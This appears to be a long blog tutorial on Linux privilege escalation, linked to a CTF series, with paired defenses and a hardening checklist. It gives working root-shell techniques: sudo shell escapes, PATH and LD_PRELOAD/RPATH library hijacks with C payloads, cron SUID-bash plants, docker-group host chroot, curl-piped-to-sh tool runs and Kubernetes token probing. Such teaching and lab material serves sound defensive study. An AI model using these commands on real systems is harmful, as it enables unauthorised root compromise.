Linux Privilege Escalation, Deep Dive: Techniques, Labs, Defenses, and Leviathan Tie-ins
Linux Privilege Escalation, Deep Dive
Privilege Escalation (PrivEsc) turns a low-priv foothold into higher privileges (often root
). This long-form tutorial is hands-on and pattern-driven: it teaches how to enumerate, hypothesize, verify, exploit, document, and defend. We’ll cover SUID/SGID, sudo misconfigs, PATH/LD tricks, cron/timers, Linux capabilities, NFS no_root_squash
, containers/Docker, and a Kubernetes/RBAC sidebar. You’ll also get mini-labs to internalize each idea and a non-spoiler mapping to OverTheWire Leviathan.
If you’re following my CTF series, start here: OverTheWire — Leviathan Overview.
Table of Contents
- 1) Mindset & quick wins
- 2) Enumeration that matters (manual + automated)
- 3) Common escalation paths
- 3.1 SUID/SGID binaries
- 3.2 Misconfigured sudo (sudoers/env)
- 3.3 PATH hijacking & world-writable dirs
- 3.4 LD_PRELOAD / library search path pitfalls
- 3.5 Cron jobs, timers & writable scripts
- 3.6 Linux Capabilities
- 3.7 NFS (
no_root_squash
) & file mounts - 3.8 Containers & the
docker
group - 3.9 Kernel exploits (last resort)
- 4) Watching the box live with pspy
- 5) A production workflow / checklist
- 6) Defending against these issues
- 7) Leviathan tie-ins: habits you practiced
- Appendix A — One-liners & snippets
- Appendix B — Extended mini-labs (safe, local)
- Appendix C — Containers & Kubernetes deep dive
- Appendix D — Defensive checklist (printable)
- Resource Library (Videos & Reading)
1) Mindset & quick wins
- Enumerate first, escalate second. PrivEsc is pattern recognition: permissions, ownership, environment, scheduling, and file paths.
- Prefer intended misconfig over 0-day. Sudo rules, SUID wrappers, writable cron, sloppy PATH are the real workhorses.
- Exploit safely & document. Record exact commands, versions, timestamps, and remediation advice.
Orientation video:
Linux Privilege Escalation — Full Course (comprehensive survey)
Further references:
- Basic Linux Privilege Escalation — g0tmi1k
- HackTricks: Linux PrivEsc — encyclopedic tactics & checks
2) Enumeration that matters (manual + automated)
Start with identity, platform, and obvious footholds:
id; whoami
uname -a
lsb_release -a 2>/dev/null || cat /etc/*release
sudo -l
cat /etc/passwd | cut -d: -f1 | sort | uniq
env | sort
Hunt likely vectors:
# SUID/SGID
find / -perm -u=s -type f -exec ls -al {} + 2>/dev/null
find / -perm -g=s -type f -exec ls -al {} + 2>/dev/null
# Capabilities
getcap -r / 2>/dev/null
# Cron & timers
ls -al /etc/cron* /var/spool/cron 2>/dev/null
systemctl list-timers --all 2>/dev/null | sed -n '1,20p'
# Writable dirs
find / -writable -type d 2>/dev/null | head -n 50
Then use automation for breadth:
-
linPEAS (PEASS-ng) — triage sudo/SUID/cron/caps/NFS/docker fast.
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
-
LinEnum — a classic scripted enumerator.
Further references:
- PEASS-ng (linPEAS) • LinEnum • HackTricks Linux PrivEsc
3) Common escalation paths
Each subsection explains detection → exploitation pattern → defense. Try the matching mini-lab in Appendix B.
3.1 SUID/SGID binaries
Find them:
find / -perm -4000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort
find / -perm -2000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort
Exploit ideas:
- SUID LOLBins (legit tools) with shell escapes:
find
,vim
,less
,awk
,tar
,cpio
, etc. See GTFOBins. - Custom SUID helpers calling
system("…")
without absolute paths → PATH hijack.
Defense: minimize SUID; prefer capabilities or dedicated service accounts; code with absolute paths and drop privileges early.
Further references:
- GTFOBins (SUID/sudo columns) • “SetUID Demystified” style posts
3.2 Misconfigured sudo (sudoers/env)
Check:
sudo -l
Look for:
NOPASSWD:
on powerful tools (editors/interpreters/archivers).SETENV
+env_keep=LD_PRELOAD/LD_LIBRARY_PATH
(dangerous).- Loose globs and wildcards (
*
) enabling argument/file injection.
Sketch:
# Allowed: sudo vim
sudo vim -c ':!/bin/sh' # or GTFOBins' exact recipe
Defense: least privilege; audit rules; avoid wildcards; set env_reset
and secure_path
; pin absolute paths.
Further references:
sudoers(5)
man page • GTFOBins recipes for allowed binaries
3.3 PATH hijacking & world-writable dirs
If a root/SUID/sudoed script calls tar
instead of /bin/tar
, and you control an earlier dir in $PATH
, drop a look-alike.
Sketch:
echo -e '#!/bin/sh\n/bin/sh -p' > /tmp/tar && chmod +x /tmp/tar
export PATH="/tmp:$PATH"
sudo /path/to/poorly_written_script
Defense: absolute paths; sanitized env; secure_path
in sudoers; immutable deployment paths.
Further references:
- PATH hijack writeups •
sudoers(5)
(secure_path
)
3.4 LD_PRELOAD / library search path pitfalls
If a sudo rule preserves LD_PRELOAD
(via env_keep
) or a root binary loads from a writable rpath/runpath, you can inject a shared object.
Sketch:
// /tmp/x.c
#include <stdio.h>
#include <stdlib.h>
__attribute__((constructor)) void init(){ setuid(0); system("/bin/sh -p"); }
gcc -fPIC -shared -o /tmp/x.so /tmp/x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so <allowed-command> # only if rule allows
Defense: disallow env injection; build with secure rpath; run as dedicated users with locked-down env.
Video (focused demo): Sudo + LD_PRELOAD privilege escalation
Further references:
- LD_PRELOAD abuse articles •
ld.so
manual
3.5 Cron jobs, timers & writable scripts
Hunt:
ls -al /etc/cron* /var/spool/cron 2>/dev/null
systemctl list-timers --all 2>/dev/null
Pattern: root cron calls a writable script or sources a writable file → append payload.
Sketch:
echo 'cp /bin/bash /tmp/rbash; chmod +s /tmp/rbash' >> /path/to/writable.sh
# wait for cron...
/tmp/rbash -p
Defense: root cron points to immutable paths; scripts root-owned; code reviews for source
/.
usage.
Further references:
- linPEAS/LinEnum cron checks • systemd hardening (
NoNewPrivileges
,ProtectSystem
)
3.6 Linux Capabilities
Find file caps:
getcap -r / 2>/dev/null
High-risk: cap_setuid+ep
on interpreters; cap_dac_read_search+ep
on file browsers; very broad cap_sys_admin+ep
.
Sketch:
# If python3 has cap_setuid+ep:
python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Defense: strip caps from general tools; use tiny, auditable helpers with least capabilities.
Further references:
capabilities(7)
• vendor docs (capability overview)
3.7 NFS (no_root_squash
) & file mounts
no_root_squash
lets client root act as root on server exports — enabling planting SUID files.
Recon:
showmount -e <nfs_server>
mount -t nfs <nfs_server>:/export /mnt
Defense: prefer root_squash
/all_squash
; Kerberos auth; strict export options.
Video (explainer): NFS no_root_squash misconfiguration
Further references:
exports(5)
• vendor hardening notes
3.8 Containers & the docker
group
Membership in docker
usually implies host privesc (bind mount /
and chroot):
docker run -v /:/host -it --rm alpine chroot /host /bin/sh
Defense: don’t grant docker
lightly; rootless Docker; drop capabilities; protect /var/run/docker.sock
.
Video (demo): Privilege Escalation via Docker group
Further references:
- Container escape posts • Docker hardening guides
3.9 Kernel exploits (last resort)
If configs fail and kernel is vulnerable, a 1-day LPE may work — but it’s noisier and riskier. Prefer targeted, auditable PoCs; log everything; clean up.
Further references:
- Vendor advisories • well-reviewed CVE writeups (use in labs, not prod)
4) Watching the box live with pspy
pspy lists new processes without root — perfect to catch cron/timers/services in real time.
# Kali (manual download shown; prefer distro package if available):
wget -qO pspy64 https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64
Further references:
- pspy GitHub • distro package pages
5) A production workflow / checklist
- Baseline:
id
,sudo -l
, OS, users, groups, mounts, services. - Automation: run linPEAS/LinEnum in parallel; skim findings.
- Triage: Sudo → SUID → Writable paths → Cron → Capabilities → NFS → Containers → Kernel.
- Minimal PoC: prove impact with least destructive steps.
- Evidence: commands, outputs, perms, timestamps, fix.
- Cleanup: restore env/paths; remove artifacts.
Further references:
- “Privilege Escalation playbooks” posts • incident reporting templates
6) Defending against these issues
- Sudoers: least privilege; avoid wildcards;
env_reset
,secure_path
,!SETENV
, absolute paths. - SUID: audit/remove; prefer capabilities;
nosuid
mount when feasible. - Cron: immutable paths, strict ownership/permissions; avoid sourcing writable files.
- Capabilities: no “general tools” with strong caps; dedicated helpers only.
- NFS: avoid
no_root_squash
; strong auth; read-only where possible. - Containers: restrict
docker
group; rootless engines; drop capabilities; AppArmor/SELinux profiles. - Monitoring: watch for unexpected SUID changes, new timers, capability grants.
Further references:
sudoers(5)
•capabilities(7)
• NFS exports docs • Docker hardening checklists
7) Leviathan tie-ins: habits you practiced (non-spoiler)
Leviathan trains the exact instincts you need:
- Read perms & ownership carefully (files, dirs, binaries).
- Trace helpers used by small SUID wrappers (
strings
,ltrace
,strace
). - Think environment:
$PATH
,LD_*
, working directory. - Look for scheduling hooks (cron/timers) and misplaced secrets.
- Prefer clean misconfig over brittle exploit chains.
My series hub: [OverTheWire — Leviathan Overview](/posts/overthewire/leviathan-overview/)
Appendix A — One-liners & snippets
SUID sweep + metadata
find / -perm -4000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort
Capabilities sweep
getcap -r / 2>/dev/null
Writable dirs earlier in PATH
echo $PATH | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable: $d"; done
Cron scrape
for f in /etc/crontab /etc/cron.*/* /var/spool/cron/*; do [ -e "$f" ] && ls -al "$f"; done 2>/dev/null
linPEAS (lab only)
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
pspy quick run
wget -qO pspy64 https://github.com/DominicBreuker/pspy/releases/latest/download/pspy64
chmod +x pspy64 && ./pspy64
Appendix B — Extended mini-labs (safe, local)
Lab safety: do these on a disposable VM you own.
Lab B1 — Sudo env pitfalls (env_keep
vs secure_path
)
# 1) Create a harmless command in a writable dir:
mkdir -p /tmp/wh && printf '#!/bin/sh\necho PWNED\n' > /tmp/wh/wh
chmod +x /tmp/wh/wh
# 2) Prepend PATH and run a sudo-allowed script that calls 'wh' without absolute path:
export PATH="/tmp/wh:$PATH"
sudo /path/to/allowed/script # if sudoers uses secure_path, your PATH is ignored
# Observe behavior; compare with/without 'secure_path' & 'env_reset' in sudoers (lab system).
What you learn: why secure_path
and env_reset
matter.
Lab B2 — GTFOBins trio: less
, tar
, awk
under SUID/sudo
# less (shell escape; method may vary by version)
sudo less /etc/hosts
# Inside less, try: !/bin/sh
# tar (trigger command via checkpoint; check GTFOBins for your version)
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
# awk (execute command)
sudo awk 'BEGIN { system("/bin/sh") }'
What you learn: how “legit” tools become shells when misconfigured.
Lab B3 — PATH hijack of a sloppy SUID helper
// helper.c — DEMO ONLY, DO NOT DEPLOY SUID LIKE THIS
#include <stdlib.h>
int main(){ system("cp /etc/hosts /tmp/hosts.copy"); return 0; }
gcc helper.c -o helper
sudo chown root:root helper && sudo chmod 4755 helper
# Attacker
mkdir -p /tmp/p && cd /tmp/p
printf '#!/bin/sh\n/bin/sh -p\n' > cp; chmod +x cp
export PATH="/tmp/p:$PATH"
/path/to/helper
What you learn: why absolute paths matter in SUID code.
Lab B4 — LD_PRELOAD via sudo env_keep
// x.c — run a root shell when preloaded (lab)
#include <stdlib.h>
__attribute__((constructor)) void boom(){ setuid(0); system("/bin/sh -p"); }
gcc -fPIC -shared -o /tmp/x.so x.c -nostartfiles
sudo LD_PRELOAD=/tmp/x.so <allowed-command> # only if env_keep allows
What you learn: the risk of preserving LD vars.
Lab B5 — Docker group escalation
# If your user is in the docker group:
docker run --rm -it -v /:/host alpine chroot /host /bin/sh
What you learn: why docker
≈ root.
Lab B6 — NFS no_root_squash
# server: /etc/exports contains /export *(rw,no_root_squash)
# client:
mount -t nfs server:/export /mnt
cp /bin/bash /mnt/bash-root && chmod +s /mnt/bash-root
# back on server, /export/bash-root will be SUID-root; executing there gives a root shell (lab context).
What you learn: cross-host trust pitfalls.
Lab B7 — RPATH/RUNPATH hijack with $ORIGIN
(no binary patch)
Goal: demonstrate how a writable library path in
RPATH/RUNPATH
lets you inject a malicious.so
. ⚠️ Lab-only: We’ll set SUID on a toy binary we own to simulate risk. Do not deploy such binaries.
/* libvictim.c (benign) */
#include <stdio.h>
void victim(void){ puts("victim: benign"); }
/* vuln.c — links to libvictim.so via RPATH=$ORIGIN/libs */
extern void victim(void);
int main(){ victim(); return 0; }
# Build benign lib + binary
mkdir -p /tmp/rpathdemo/libs && cd /tmp/rpathdemo
cat > libvictim.c <<'EOF'
#include <stdio.h>
void victim(void){ puts("victim: benign"); }
EOF
cat > vuln.c <<'EOF'
extern void victim(void);
int main(){ victim(); return 0; }
EOF
gcc -fPIC -shared -Wl,-soname,libvictim.so -o libs/libvictim.so libvictim.c
gcc vuln.c -L./libs -lvictim -Wl,-rpath,'$ORIGIN/libs' -o vuln
# Lab-only: simulate an unsafe deployment (SUID in attacker-writable dir)
sudo chown root:root vuln && sudo chmod 4755 vuln
# Confirm normal behavior:
./vuln
# -> prints: victim: benign
# Replace the library with a malicious one:
cat > libs/libvictim.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void victim(void){
setgid(0); setuid(0);
system("/bin/sh -p -c 'echo [*] escalated; id; /bin/sh -p'");
}
EOF
gcc -fPIC -shared -Wl,-soname,libvictim.so -o libs/libvictim.so libs/libvictim.c
# Run the SUID binary again (loads our lib via RPATH $ORIGIN/libs):
./vuln
Inspectors
objdump -p ./vuln | grep -E 'RPATH|RUNPATH'
readelf -d ./vuln | egrep 'RPATH|RUNPATH'
ldd ./vuln
Lab B8 — patchelf
hijack: set/replace RPATH
and NEEDED
Goal: understand how binary patching can redirect the loader to our
.so
. ⚠️ If you can modify a SUID binary, you already have powerful control — treat this as forensics/CI hardening knowledge.
# Install patchelf (Debian/Ubuntu/Kali)
sudo apt update && sudo apt install -y patchelf
Re-use ./vuln
from Lab B7 (currently with RPATH=$ORIGIN/libs
).
A) Repoint RPATH at a new directory you control
mkdir -p /tmp/rpathdemo/bad
patchelf --print-rpath ./vuln
patchelf --set-rpath '$ORIGIN/bad' ./vuln
patchelf --print-rpath ./vuln # should show $ORIGIN/bad
# Drop a malicious lib with the same SONAME:
cat > bad/libvictim.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
void victim(void){ setuid(0); setgid(0); system("/bin/sh -p"); }
EOF
gcc -fPIC -shared -Wl,-soname,libvictim.so -o bad/libvictim.so bad/libvictim.c
./vuln # loads bad/libvictim.so via new RPATH
B) Add a dependency (NEEDED
) that pops a shell on load
patchelf --print-needed ./vuln
cat > bad/libx.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void boom(){ setuid(0); setgid(0); system("/bin/sh -p"); }
EOF
gcc -fPIC -shared -Wl,-soname,libx.so -o bad/libx.so bad/libx.c
# Ensure RPATH includes $ORIGIN/bad, then:
patchelf --add-needed libx.so ./vuln
patchelf --print-needed ./vuln
./vuln # loads libx.so alongside normal deps -> root shell (lab)
C) Swap one library for another
# If original had libvictim.so:
patchelf --replace-needed libvictim.so libx.so ./vuln
patchelf --print-needed ./vuln
./vuln
Defensive notes
- Never deploy SUID in writable dirs; avoid
$ORIGIN
pointing into writable paths. - Vendors should ship immutable, root-owned library trees only.
- Verify
RPATH/RUNPATH/NEEDED
in CI; both RPATH and RUNPATH are dangerous if they include writable dirs.
Inspectors
objdump -p ./vuln | grep -E 'RPATH|RUNPATH|NEEDED'
readelf -d ./vuln | egrep 'RPATH|RUNPATH'
Appendix C — Containers & Kubernetes deep dive
C1) Linux capabilities in containers (why escapes work)
- Default Docker adds some capabilities; privileged adds many back.
- If container can access the Docker socket or host mounts (
-v /:/host
), host privesc is near-trivial.
Checklist
# Inside container:
cat /proc/self/status | grep Cap
ls -l /var/run/docker.sock 2>/dev/null
mount | head
Defense: drop caps (--cap-drop=ALL
+ add back needed), seccomp/AppArmor/SELinux, rootless, avoid mounting sensitive host paths.
C2) Kubernetes RBAC & ServiceAccount tokens (quick mental model)
- Pods mount a ServiceAccount token; with broad RBAC (list secrets, create pods), an attacker can escalate or spawn privileged pods.
Recon (inside a pod)
# If kubectl + creds exist:
kubectl auth can-i --list
# Raw API probe with the token:
curl -sS --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
-H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api
Defense: least-privilege RBAC, block hostPath, disallow privileged
, admission policies (PSA), short-lived tokens, workload identity.
Further references:
- Docker/K8s hardening guides • NSA/CISA Kubernetes hardening doc
Appendix D — Defensive checklist (printable)
Linux Privilege Escalation — Defensive Checklist
Area | What to check | Remediation / Hardening | Tools |
---|---|---|---|
Sudoers | Wildcards, NOPASSWD on powerful tools, SETENV / env_keep rules | Least privilege; remove wildcards; enforce env_reset & secure_path ; absolute paths |
sudo -l , policy audits, CI review |
SUID/SGID | Unexpected SUID/SGID binaries; LOLBins with shell escapes | Remove non-essential SUID/SGID; consider nosuid mounts |
find / -perm -4000 , GTFOBins |
PATH & environment | Writable dirs early in $PATH ; scripts calling non-absolute commands |
Use absolute paths; sanitize env; secure_path |
echo $PATH , code review |
LD / libraries | RPATH/RUNPATH include writable dirs; odd NEEDED entries |
Immutable library trees; avoid writable $ORIGIN ; verify with CI |
objdump -p , readelf -d , patchelf |
Cron / timers | Root jobs sourcing or executing writable files/paths | Root-owned, immutable scripts; review service units; least privilege | systemctl list-timers , crontab -l |
Capabilities | Dangerous caps on general-purpose tools (e.g., cap_setuid ) |
Strip caps; use small, purpose-built helpers | getcap -r / , capabilities(7) |
NFS | no_root_squash exports; wide client access |
Prefer root_squash /all_squash ; Kerberos; RO exports where possible |
showmount -e , exports(5) |
Containers | Users in docker group; privileged containers; hostPath mounts |
Restrict group; rootless; drop capabilities; policy/PSA; seccomp/AppArmor/SELinux | Docker/K8s audits, PSA |
Secrets | Plaintext creds in home/opt/www; SSH keys; world-readable backups | Secret management; file perms; scanning in CI | trufflehog, gitleaks, grep audits |
Monitoring | Unexpected SUID changes, new timers, capability grants, NFS export edits | File integrity (AIDE/OSSEC); alert on metadata deltas | SIEM, auditd, inotify |
Tip: bake these checks into CI/CD (build & packaging steps) so binaries ship with correct RPATH/RUNPATH and without dangerous caps/SUID.
Resource Library (Videos & Reading)
Videos (curated)
- Linux Privilege Escalation – Full Course (comprehensive).
- Sudo + LD_PRELOAD PrivEsc (focused env-abuse demo).
- Privilege Escalation via Docker group (containers).
- NFS
no_root_squash
misconfiguration (storage misconfig).
Reading / Tools
- GTFOBins — abuse recipes for legit Unix tools (SUID/sudo).
- PEASS-ng / linPEAS — automated triage.
- LinEnum — classic local enumeration.
- pspy — process watcher without root.
- HackTricks: Linux PrivEsc — exhaustive notes & checklists.
- Man-pages:
sudoers(5)
&capabilities(7)
. - NFS hardening:
exports(5)
+ vendor docs. - Container hardening: Docker/K8s best practices.
Final note
Use this as a playbook: enumerate broadly, pick the cleanest misconfig, verify with the smallest PoC, then leave clear remediation in your notes. Pair these patterns with your Leviathan journey for fast skill compounding.
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨